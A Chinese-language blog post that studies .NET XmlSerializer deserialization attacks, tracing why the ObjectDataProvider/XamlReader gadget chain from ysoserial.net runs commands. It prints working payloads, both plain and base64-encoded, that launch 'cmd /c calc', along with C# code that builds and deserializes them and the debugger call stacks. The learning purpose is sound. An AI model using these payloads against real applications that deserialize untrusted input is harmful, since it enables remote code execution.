.Net XmlSerializer反序列化学习

admin 2021年12月10日18:23:16评论159 views字数 26366阅读87分53秒阅读模式

前言:

在看了很多dotNetXmlSerializer反序列化的文章后,我不由得产生了两个个问题:

  1. ObjectDataProvider为什么能够执行命令?

  2. 使用XamlReader是否需要特定的代码环境?

  3. 利用条件

反序列化Payload:

Payload如下:

C:UsersAdministratorDesktop代码审计.netysoseril.netRelease>ysoserial.exe -f XmlSerializer -g ObjectDataProvider -c calc
<?xml version="1.0"?>
<root type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
    <ExpandedWrapperOfXamlReaderObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" >
        <ExpandedElement/>
        <ProjectedProperty0>
            <MethodName>Parse</MethodName>
            <MethodParameters>
                <anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">
                    <![CDATA[<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:b="clr-namespace:System;assembly=mscorlib" xmlns:c="clr-namespace:System.Diagnostics;assembly=system"><ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start"><ObjectDataProvider.MethodParameters><b:String>cmd</b:String><b:String>/c calc</b:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>]]>
                </anyType>
            </MethodParameters>
            <ObjectInstance xsi:type="XamlReader"></ObjectInstance>
        </ProjectedProperty0>
    </ExpandedWrapperOfXamlReaderObjectDataProvider>
</root>

ObjectDataProvider:

在XmlSerializer中绕不开的就是ObjectDataProvider类了,可以看看如下demo:

      var obj = new ObjectDataProvider();
      obj.ObjectInstance = new System.Diagnostics.Process();
      obj.MethodName = "Start";
      obj.MethodParameters.Add("calc");

上诉代码的意思就是先将Process实例绑定到ObjectInstance属性上,然后将Start绑定到MethodName中,最后加入参数。运行这段代码就会弹窗Calc:

.Net XmlSerializer反序列化学习
1.png

那么运行这段代码为什么能够弹出calc呢?这里需要说到C#中的事件了,具体文章可以移步:

https://www.runoob.com/csharp/csharp-event.html

调用堆栈如下:

>    System.dll!System.Diagnostics.Process.Start(string fileName) (IL=0x0000, Native=0x079EB2A0+0x1F)
     [本机到托管的转换]
     mscorlib.dll!System.Reflection.RuntimeMethodInfo.UnsafeInvokeInternal(object obj, object[] parameters, object[] arguments) (IL≈0x001E, Native=0x07941E58+0xA1)
     mscorlib.dll!System.Reflection.RuntimeMethodInfo.Invoke(object obj, System.Reflection.BindingFlags invokeAttr, System.Reflection.Binder binder, object[] parameters, System.Globalization.CultureInfo culture) (IL≈0x007F, Native=0x07941368+0x18E)
     mscorlib.dll!System.RuntimeType.InvokeMember(string name, System.Reflection.BindingFlags bindingFlags, System.Reflection.Binder binder, object target, object[] providedArgs, System.Reflection.ParameterModifier[] modifiers, System.Globalization.CultureInfo culture, string[] namedParams) (IL≈0x0739, Native=0x079E88D8+0x1808)
     mscorlib.dll!System.Type.InvokeMember(string name, System.Reflection.BindingFlags invokeAttr, System.Reflection.Binder binder, object target, object[] args, System.Globalization.CultureInfo culture) (IL≈0x0000, Native=0x079E8878+0x40)
     PresentationFramework.dll!System.Windows.Data.ObjectDataProvider.InvokeMethodOnInstance(out System.Exception e) (IL≈0x0043, Native=0x079E8348+0x11B)
     PresentationFramework.dll!System.Windows.Data.ObjectDataProvider.QueryWorker(object obj) (IL≈0x008C, Native=0x079E7590+0x177)
     PresentationFramework.dll!System.Windows.Data.ObjectDataProvider.BeginQuery() (IL=0x005D, Native=0x079E3610+0x169)
     WindowsBase.dll!System.Windows.Data.DataSourceProvider.Refresh() (IL=0x000D, Native=0x079E3338+0x27)
     PresentationFramework.dll!System.Windows.Data.ObjectDataProvider.MethodName.set(string value) (IL=0x0020, Native=0x079E82E0+0x4F)
     ConsoleApp.exe!ConsoleApp.Program.Main(string[] args) (IL=0x002F, Native=0x05D920A8+0x9D)

调用堆栈分析:

Methodset分析:
            set
            {
                this._methodName = value;
                this.OnPropertyChanged("MethodName");
                if (!base.IsRefreshDeferred)
                {
                    base.Refresh();
                }
            }

这里的this.OnPropertyChanged方法进行了数据绑定,最终代码为:

        protected virtual void OnPropertyChanged(PropertyChangedEventArgs e)
        
{
            if (this.PropertyChanged != null)
            {
                this.PropertyChanged(this, e);
            }
        }

他的作用就是当被绑定的值发生改变时会触发该事件,通常用于WPF。而出发命令执行的关键是Refresh此方法:

        public void Refresh()
        
{
            this._initialLoadCalled = true;
            this.BeginQuery();
        }

直接跟进BeginQuery方法就好:

        protected override void BeginQuery()
        {
            if (TraceData.IsExtendedTraceEnabled(this, TraceDataLevel.Attach))
            {
                TraceData.Trace(TraceEventType.Warning, TraceData.BeginQuery(new object[]
                {
                    TraceData.Identify(this),
                    this.IsAsynchronous ? "asynchronous" : "synchronous"
                }));
            }
            if (this.IsAsynchronous)
            {
                ThreadPool.QueueUserWorkItem(new WaitCallback(this.QueryWorker), null);
                return;
            }
            this.QueryWorker(null);
        }

第一个if暂且不说,第二个if this.IsAsynchronous因为我们没有进行初始化所以一定是false,因此两个流程均不进入直接跟进
QueryWorker方法:

if (this._mode == ObjectDataProvider.SourceMode.NoSource || this._objectType == null){
...
}else{

...
obj2 = this.InvokeMethodOnInstance(out ex);
...

}

从调用栈来看这里以及到头了,那么此类就相当于使用了反射去调用Start函数进行执行命令而如何成功反射的关键就是Refresh()这个函数了。

XamlReader是否需要特定的代码环境:

首先看个Demo:

            var type = "System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089";
            var xml = DecodeBase64("utf-8""PEV4cGFuZGVkV3JhcHBlck9mWGFtbFJlYWRlck9iamVjdERhdGFQcm92aWRlciB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiA+CiAgICAgICAgPEV4cGFuZGVkRWxlbWVudC8+CiAgICAgICAgPFByb2plY3RlZFByb3BlcnR5MD4KICAgICAgICAgICAgPE1ldGhvZE5hbWU+UGFyc2U8L01ldGhvZE5hbWU+CiAgICAgICAgICAgIDxNZXRob2RQYXJhbWV0ZXJzPgogICAgICAgICAgICAgICAgPGFueVR5cGUgeG1sbnM6eHNpPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYS1pbnN0YW5jZSIgeG1sbnM6eHNkPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYSIgeHNpOnR5cGU9InhzZDpzdHJpbmciPgogICAgICAgICAgICAgICAgICAgIDwhW0NEQVRBWzxSZXNvdXJjZURpY3Rpb25hcnkgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6ZD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiIHhtbG5zOmI9ImNsci1uYW1lc3BhY2U6U3lzdGVtO2Fzc2VtYmx5PW1zY29ybGliIiB4bWxuczpjPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5EaWFnbm9zdGljczthc3NlbWJseT1zeXN0ZW0iPjxPYmplY3REYXRhUHJvdmlkZXIgZDpLZXk9IiIgT2JqZWN0VHlwZT0ie2Q6VHlwZSBjOlByb2Nlc3N9IiBNZXRob2ROYW1lPSJTdGFydCI+PE9iamVjdERhdGFQcm92aWRlci5NZXRob2RQYXJhbWV0ZXJzPjxiOlN0cmluZz5jbWQ8L2I6U3RyaW5nPjxiOlN0cmluZz4vYyBjYWxjPC9iOlN0cmluZz48L09iamVjdERhdGFQcm92aWRlci5NZXRob2RQYXJhbWV0ZXJzPjwvT2JqZWN0RGF0YVByb3ZpZGVyPjwvUmVzb3VyY2VEaWN0aW9uYXJ5Pl1dPgogICAgICAgICAgICAgICAgPC9hbnlUeXBlPgogICAgICAgICAgICA8L01ldGhvZFBhcmFtZXRlcnM+CiAgICAgICAgICAgIDxPYmplY3RJbnN0YW5jZSB4c2k6dHlwZT0iWGFtbFJlYWRlciI+PC9PYmplY3RJbnN0YW5jZT4KICAgICAgICA8L1Byb2plY3RlZFByb3BlcnR5MD4KICAgIDwvRXhwYW5kZWRXcmFwcGVyT2ZYYW1sUmVhZGVyT2JqZWN0RGF0YVByb3ZpZGVyPg==");

            XmlSerializer serializer = new XmlSerializer(Type.GetType(type));
            MemoryStream ms = new MemoryStream(Encoding.UTF8.GetBytes(xml));
            StreamReader sr = new StreamReader(ms);
            serializer.Deserialize(sr);

可以发现我上面的代码中并没有出现XamlReader相关的代码环境依然弹出了calc:

.Net XmlSerializer反序列化学习
QQ截图20211210140931.png

在来分析type变量中的内容,System.Data.Services.Internal.ExpandedWrapper这个是用来指定变量的,他其中具有两个Type:

  1. [System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]

  2. [System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]

ObjectDataProvider类是不能够执行进行反序列化的,因为ObjectInstance属性是未知的,可以先看一段代码:

            var obj = new ObjectDataProvider();
            obj.ObjectInstance = new System.Diagnostics.Process();
            obj.MethodParameters.Add("calc");
            obj.MethodName = "Start";

            XmlSerializer serializer = new XmlSerializer(typeof(ObjectDataProvider));
            MemoryStream memoryStream = new MemoryStream(); //申请内存
            TextWriter writer = new StreamWriter(memoryStream);
            serializer.Serialize(writer, obj);//像内存写入数据
            Console.WriteLine(Encoding.UTF8.GetString(memoryStream.ToArray()));

运行后出现如下错误:

InvalidOperationException: 不应是类型 System.Diagnostics.Process。使用 XmlInclude 或 SoapInclude 特性静态指定非已知的类型。

那么我们使用System.Data.Services.Internal.ExpandedWrapper在来进行反序列化,代码如下:

            ExpandedWrapper<System.Diagnostics.Process, ObjectDataProvider > expandedWrapper = new ExpandedWrapper<System.Diagnostics.Process, ObjectDataProvider>();
            expandedWrapper.ProjectedProperty0 = new ObjectDataProvider();
            expandedWrapper.ProjectedProperty0.ObjectInstance = new System.Diagnostics.Process();
            expandedWrapper.ProjectedProperty0.MethodParameters.Add("calc");
            expandedWrapper.ProjectedProperty0.MethodName = "Start";


            XmlSerializer serializer = new XmlSerializer(typeof(ExpandedWrapper<System.Diagnostics.Process, ObjectDataProvider>));
            MemoryStream memoryStream = new MemoryStream(); //申请内存
            TextWriter writer = new StreamWriter(memoryStream);
            serializer.Serialize(writer, expandedWrapper);//像内存写入数据
            Console.WriteLine(Encoding.UTF8.GetString(memoryStream.ToArray()));

这样同样会报错,VS会出现:

NotSupportedException: 类型 System.ComponentModel.ISite 的成员 System.ComponentModel.Component.Site 是接口,因此无法将其序列化。

也就是说反序列化中不能出现接口,接下来就需要类中没有接口且还能执行命令的类了,在ysoseril.net当中使用了XamlReader类,他的Parse方法可以解析XAML,分析下为我们生成的xaml:

<ResourceDictionary
    xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
    xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml"
    xmlns:b="clr-namespace:System;assembly=mscorlib"
    xmlns:c="clr-namespace:System.Diagnostics;assembly=system">

    <ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start">
        <ObjectDataProvider.MethodParameters>
            <b:String>cmd</b:String>
            <b:String>/c calc</b:String>
        </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
</ResourceDictionary>
  1. 首先xmlns:b="clr-namespace:System;assembly=mscorlib"代表using Systeam并设置别名为b,下面的那句同理。

  2. ObjectType表示获取System.Diagnostics.Process的Type,MethodName代表设置MethodName属性为Start

  3. ObjectDataProvider.MethodParameters设置了两个参数

代码如下:

            ExpandedWrapper<XamlReader, ObjectDataProvider> expandedWrapper = new ExpandedWrapper<XamlReader, ObjectDataProvider>();
            expandedWrapper.ProjectedProperty0 = new ObjectDataProvider();
            expandedWrapper.ProjectedProperty0.ObjectInstance = new XamlReader();
            expandedWrapper.ProjectedProperty0.MethodParameters.Add(DecodeBase64("utf-8""PFJlc291cmNlRGljdGlvbmFyeSB4bWxucz0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwvcHJlc2VudGF0aW9uIiB4bWxuczpkPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbCIgeG1sbnM6Yj0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiIHhtbG5zOmM9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI+PE9iamVjdERhdGFQcm92aWRlciBkOktleT0iIiBPYmplY3RUeXBlPSJ7ZDpUeXBlIGM6UHJvY2Vzc30iIE1ldGhvZE5hbWU9IlN0YXJ0Ij48T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+PGI6U3RyaW5nPmNtZDwvYjpTdHJpbmc+PGI6U3RyaW5nPi9jIGNhbGM8L2I6U3RyaW5nPjwvT2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+PC9PYmplY3REYXRhUHJvdmlkZXI+PC9SZXNvdXJjZURpY3Rpb25hcnk+ "));
            expandedWrapper.ProjectedProperty0.MethodName = "Parse";

            XmlSerializer serializer = new XmlSerializer(typeof(ExpandedWrapper<XamlReader, ObjectDataProvider>));
            MemoryStream memoryStream = new MemoryStream(); //申请内存
            TextWriter writer = new StreamWriter(memoryStream);
            serializer.Serialize(writer, expandedWrapper);//像内存写入数据
            Console.WriteLine(Encoding.UTF8.GetString(memoryStream.ToArray()));
            Console.Read();

运行后生成Payload:

<?xml version="1.0" encoding="utf-8"?>
<ExpandedWrapperOfXamlReaderObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <ProjectedProperty0>
    <ObjectInstance xsi:type="XamlReader" />
    <MethodName>Parse</MethodName>
    <MethodParameters>
      <anyType xsi:type="xsd:string">&lt;ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:b="clr-namespace:System;assembly=mscorlib" xmlns:c="clr-namespace:System.Diagnostics;assembly=system"&gt;&lt;ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start"&gt;&lt;ObjectDataProvider.MethodParameters&gt;&lt;b:String&gt;cmd&lt;/b:String&gt;&lt;b:String&gt;/c calc&lt;/b:String&gt;&lt;/ObjectDataProvider.MethodParameters&gt;&lt;/ObjectDataProvider&gt;&lt;/ResourceDictionary&gt;</anyType>
    </MethodParameters>
  </ProjectedProperty0>
</ExpandedWrapperOfXamlReaderObjectDataProvider>

将此Payload编码为Base64:

PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz4KPEV4cGFuZGVkV3JhcHBlck9mWGFtbFJlYWRlck9iamVjdERhdGFQcm92aWRlciB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIj4KICA8UHJvamVjdGVkUHJvcGVydHkwPgogICAgPE9iamVjdEluc3RhbmNlIHhzaTp0eXBlPSJYYW1sUmVhZGVyIiAvPgogICAgPE1ldGhvZE5hbWU+UGFyc2U8L01ldGhvZE5hbWU+CiAgICA8TWV0aG9kUGFyYW1ldGVycz4KICAgICAgPGFueVR5cGUgeHNpOnR5cGU9InhzZDpzdHJpbmciPiZsdDtSZXNvdXJjZURpY3Rpb25hcnkgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6ZD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiIHhtbG5zOmI9ImNsci1uYW1lc3BhY2U6U3lzdGVtO2Fzc2VtYmx5PW1zY29ybGliIiB4bWxuczpjPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5EaWFnbm9zdGljczthc3NlbWJseT1zeXN0ZW0iJmd0OyZsdDtPYmplY3REYXRhUHJvdmlkZXIgZDpLZXk9IiIgT2JqZWN0VHlwZT0ie2Q6VHlwZSBjOlByb2Nlc3N9IiBNZXRob2ROYW1lPSJTdGFydCImZ3Q7Jmx0O09iamVjdERhdGFQcm92aWRlci5NZXRob2RQYXJhbWV0ZXJzJmd0OyZsdDtiOlN0cmluZyZndDtjbWQmbHQ7L2I6U3RyaW5nJmd0OyZsdDtiOlN0cmluZyZndDsvYyBjYWxjJmx0Oy9iOlN0cmluZyZndDsmbHQ7L09iamVjdERhdGFQcm92aWRlci5NZXRob2RQYXJhbWV0ZXJzJmd0OyZsdDsvT2JqZWN0RGF0YVByb3ZpZGVyJmd0OyZsdDsvUmVzb3VyY2VEaWN0aW9uYXJ5Jmd0OzwvYW55VHlwZT4KICAgIDwvTWV0aG9kUGFyYW1ldGVycz4KICA8L1Byb2plY3RlZFByb3BlcnR5MD4KPC9FeHBhbmRlZFdyYXBwZXJPZlhhbWxSZWFkZXJPYmplY3REYXRhUHJvdmlkZXI+

进行反序列化:

            var type = "System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089";
            var xml = DecodeBase64("utf-8""PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz4KPEV4cGFuZGVkV3JhcHBlck9mWGFtbFJlYWRlck9iamVjdERhdGFQcm92aWRlciB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIj4KICA8UHJvamVjdGVkUHJvcGVydHkwPgogICAgPE9iamVjdEluc3RhbmNlIHhzaTp0eXBlPSJYYW1sUmVhZGVyIiAvPgogICAgPE1ldGhvZE5hbWU+UGFyc2U8L01ldGhvZE5hbWU+CiAgICA8TWV0aG9kUGFyYW1ldGVycz4KICAgICAgPGFueVR5cGUgeHNpOnR5cGU9InhzZDpzdHJpbmciPiZsdDtSZXNvdXJjZURpY3Rpb25hcnkgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6ZD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiIHhtbG5zOmI9ImNsci1uYW1lc3BhY2U6U3lzdGVtO2Fzc2VtYmx5PW1zY29ybGliIiB4bWxuczpjPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5EaWFnbm9zdGljczthc3NlbWJseT1zeXN0ZW0iJmd0OyZsdDtPYmplY3REYXRhUHJvdmlkZXIgZDpLZXk9IiIgT2JqZWN0VHlwZT0ie2Q6VHlwZSBjOlByb2Nlc3N9IiBNZXRob2ROYW1lPSJTdGFydCImZ3Q7Jmx0O09iamVjdERhdGFQcm92aWRlci5NZXRob2RQYXJhbWV0ZXJzJmd0OyZsdDtiOlN0cmluZyZndDtjbWQmbHQ7L2I6U3RyaW5nJmd0OyZsdDtiOlN0cmluZyZndDsvYyBjYWxjJmx0Oy9iOlN0cmluZyZndDsmbHQ7L09iamVjdERhdGFQcm92aWRlci5NZXRob2RQYXJhbWV0ZXJzJmd0OyZsdDsvT2JqZWN0RGF0YVByb3ZpZGVyJmd0OyZsdDsvUmVzb3VyY2VEaWN0aW9uYXJ5Jmd0OzwvYW55VHlwZT4KICAgIDwvTWV0aG9kUGFyYW1ldGVycz4KICA8L1Byb2plY3RlZFByb3BlcnR5MD4KPC9FeHBhbmRlZFdyYXBwZXJPZlhhbWxSZWFkZXJPYmplY3REYXRhUHJvdmlkZXI+");


            XmlSerializer serializer = new XmlSerializer(Type.GetType(type));
            MemoryStream ms = new MemoryStream(Encoding.UTF8.GetBytes(xml));
            StreamReader sr = new StreamReader(ms);
            serializer.Deserialize(sr);

运行后成功弹出calc:

.Net XmlSerializer反序列化学习


总结:

在利用XmlSerializer反序列化时需要Type以及反序列化的Payload可控才能够成功利用

调用堆栈:

>    System.dll!System.Diagnostics.Process.Start(string fileName, string arguments) (IL=0x0000, Native=0x07D68330+0x22)
     [本机到托管的转换]
     mscorlib.dll!System.Reflection.RuntimeMethodInfo.UnsafeInvokeInternal(object obj, object[] parameters, object[] arguments) (IL≈0x001E, Native=0x06B0DCB8+0xA1)
     mscorlib.dll!System.Reflection.RuntimeMethodInfo.Invoke(object obj, System.Reflection.BindingFlags invokeAttr, System.Reflection.Binder binder, object[] parameters, System.Globalization.CultureInfo culture) (IL≈0x007F, Native=0x06B0D870+0x18D)
     mscorlib.dll!System.RuntimeType.InvokeMember(string name, System.Reflection.BindingFlags bindingFlags, System.Reflection.Binder binder, object target, object[] providedArgs, System.Reflection.ParameterModifier[] modifiers, System.Globalization.CultureInfo culture, string[] namedParams) (IL≈0x0739, Native=0x03A622E8+0x1805)
     mscorlib.dll!System.Type.InvokeMember(string name, System.Reflection.BindingFlags invokeAttr, System.Reflection.Binder binder, object target, object[] args, System.Globalization.CultureInfo culture) (IL≈0x0000, Native=0x03A62118+0x40)
     PresentationFramework.dll!System.Windows.Data.ObjectDataProvider.InvokeMethodOnInstance(out System.Exception e) (IL≈0x0043, Native=0x03A61BE8+0x11C)
     PresentationFramework.dll!System.Windows.Data.ObjectDataProvider.QueryWorker(object obj) (IL≈0x008C, Native=0x03A60E58+0x176)
     PresentationFramework.dll!System.Windows.Data.ObjectDataProvider.BeginQuery() (IL=0x005D, Native=0x03A1D8D0+0x169)
     WindowsBase.dll!System.Windows.Data.DataSourceProvider.Refresh() (IL=0x000D, Native=0x03A1D890+0x27)
     WindowsBase.dll!System.Windows.Data.DataSourceProvider.EndDefer() (IL=0x001C, Native=0x07D62BE8+0x2C)
     WindowsBase.dll!System.Windows.Data.DataSourceProvider.EndInit() (IL=0x0006, Native=0x07D62BB0+0x1E)
     WindowsBase.dll!System.Windows.Data.DataSourceProvider.System.ComponentModel.ISupportInitialize.EndInit() (IL=0x0006, Native=0x07D62B78+0x20)
     System.Xaml.dll!MS.Internal.Xaml.Runtime.ClrObjectRuntime.InitializationGuard(System.Xaml.XamlType xamlType, object obj, bool begin) (IL=0x001B, Native=0x07D0CAD8+0x69)
     System.Xaml.dll!System.Xaml.XamlObjectWriter.Logic_EndInit(MS.Internal.Xaml.Context.ObjectWriterContext ctx) (IL=0x001C, Native=0x07D58280+0x73)
     System.Xaml.dll!System.Xaml.XamlObjectWriter.WriteEndObject() (IL=0x02C2, Native=0x07D557D0+0x7A5)
     System.Xaml.dll!System.Xaml.XamlWriter.WriteNode(System.Xaml.XamlReader reader) (IL=0x0064, Native=0x07D01650+0x101)
     PresentationFramework.dll!System.Windows.Markup.WpfXamlLoader.TransformNodes(System.Xaml.XamlReader xamlReader, System.Xaml.XamlObjectWriter xamlWriter, bool onlyLoadOneNode, bool skipJournaledProperties, bool shouldPassLineNumberInfo, System.Xaml.IXamlLineInfo xamlLineInfo, System.Xaml.IXamlLineInfoConsumer xamlLineInfoConsumer, MS.Internal.Xaml.Context.XamlContextStack<System.Windows.Markup.WpfXamlFrame> stack, System.Windows.Markup.IStyleConnector styleConnector) (IL=0x0166, Native=0x07D00040+0x42C)
     PresentationFramework.dll!System.Windows.Markup.WpfXamlLoader.Load(System.Xaml.XamlReader xamlReader, System.Xaml.IXamlObjectWriterFactory writerFactory, bool skipJournaledProperties, object rootObject, System.Xaml.XamlObjectWriterSettings settings, System.Uri baseUri) (IL=0x00CA, Native=0x07CDCF10+0x284)
     PresentationFramework.dll!System.Windows.Markup.WpfXamlLoader.Load(System.Xaml.XamlReader xamlReader, bool skipJournaledProperties, System.Uri baseUri) (IL≈0x0006, Native=0x07CDC910+0x59)
     PresentationFramework.dll!System.Windows.Markup.XamlReader.Load(System.Xaml.XamlReader xamlReader, System.Windows.Markup.ParserContext parserContext) (IL≈0x0038, Native=0x07C5CFE8+0xD7)
     PresentationFramework.dll!System.Windows.Markup.XamlReader.Load(System.Xml.XmlReader reader, System.Windows.Markup.ParserContext parserContext, System.Windows.Markup.XamlParseMode parseMode, bool useRestrictiveXamlReader, System.Collections.Generic.List<System.Type> safeTypes) (IL≈0x00F6, Native=0x03A6B370+0x3AA)
     PresentationFramework.dll!System.Windows.Markup.XamlReader.Load(System.Xml.XmlReader reader, System.Windows.Markup.ParserContext parserContext, System.Windows.Markup.XamlParseMode parseMode, bool useRestrictiveXamlReader) (IL≈0x0000, Native=0x03A6AB10+0x35)
     PresentationFramework.dll!System.Windows.Markup.XamlReader.Load(System.Xml.XmlReader reader, System.Windows.Markup.ParserContext parserContext, System.Windows.Markup.XamlParseMode parseMode) (IL≈0x0000, Native=0x03A6AAC0+0x30)
     PresentationFramework.dll!System.Windows.Markup.XamlReader.Load(System.Xml.XmlReader reader) (IL≈0x000E, Native=0x03A6AA38+0x68)
     PresentationFramework.dll!System.Windows.Markup.XamlReader.Parse(string xamlText) (IL≈0x000E, Native=0x03A690C0+0x65)
     [本机到托管的转换]
     mscorlib.dll!System.Reflection.RuntimeMethodInfo.UnsafeInvokeInternal(object obj, object[] parameters, object[] arguments) (IL≈0x001E, Native=0x06B0DCB8+0xA1)
     mscorlib.dll!System.Reflection.RuntimeMethodInfo.Invoke(object obj, System.Reflection.BindingFlags invokeAttr, System.Reflection.Binder binder, object[] parameters, System.Globalization.CultureInfo culture) (IL≈0x007F, Native=0x06B0D870+0x18D)
     mscorlib.dll!System.RuntimeType.InvokeMember(string name, System.Reflection.BindingFlags bindingFlags, System.Reflection.Binder binder, object target, object[] providedArgs, System.Reflection.ParameterModifier[] modifiers, System.Globalization.CultureInfo culture, string[] namedParams) (IL≈0x0739, Native=0x03A622E8+0x1805)
     mscorlib.dll!System.Type.InvokeMember(string name, System.Reflection.BindingFlags invokeAttr, System.Reflection.Binder binder, object target, object[] args, System.Globalization.CultureInfo culture) (IL≈0x0000, Native=0x03A62118+0x40)
     PresentationFramework.dll!System.Windows.Data.ObjectDataProvider.InvokeMethodOnInstance(out System.Exception e) (IL≈0x0043, Native=0x03A61BE8+0x11C)
     PresentationFramework.dll!System.Windows.Data.ObjectDataProvider.QueryWorker(object obj) (IL≈0x008C, Native=0x03A60E58+0x176)
     PresentationFramework.dll!System.Windows.Data.ObjectDataProvider.BeginQuery() (IL=0x005D, Native=0x03A1D8D0+0x169)
     WindowsBase.dll!System.Windows.Data.DataSourceProvider.Refresh() (IL=0x000D, Native=0x03A1D890+0x27)
     PresentationFramework.dll!System.Windows.Data.ObjectDataProvider.OnParametersChanged(MS.Internal.Data.ParameterCollection sender) (IL=0x002F, Native=0x03A68AC8+0x57)
     PresentationFramework.dll!MS.Internal.Data.ParameterCollection.OnCollectionChanged() (IL=0x000C, Native=0x03A68A88+0x26)
     PresentationFramework.dll!MS.Internal.Data.ParameterCollection.InsertItem(int index, object value) (IL=0x0014, Native=0x03A68820+0x3B)
     mscorlib.dll!System.Collections.ObjectModel.Collection<object>.Add(object item) (IL=0x0028, Native=0x03A68718+0xE9)
     mscorlib.dll!System.Collections.ObjectModel.Collection<object>.System.Collections.IList.Add(object value) (IL=0x0028, Native=0x03A68518+0xFC)
     Microsoft.GeneratedCode!Microsoft.Xml.Serialization.GeneratedAssembly.XmlSerializationReaderExpandedWrapper2.Read7_ObjectDataProvider(bool isNullable, bool checkType) (IL≈0x050D, Native=0x039D5450+0xE62)
     Microsoft.GeneratedCode!Microsoft.Xml.Serialization.GeneratedAssembly.XmlSerializationReaderExpandedWrapper2.Read8_Item(bool isNullable, bool checkType) (IL≈0x01FE, Native=0x039D4620+0x534)
     Microsoft.GeneratedCode!Microsoft.Xml.Serialization.GeneratedAssembly.XmlSerializationReaderExpandedWrapper2.Read9_Item() (IL≈0x0050, Native=0x039D38E0+0xE7)
     [本机到托管的转换]
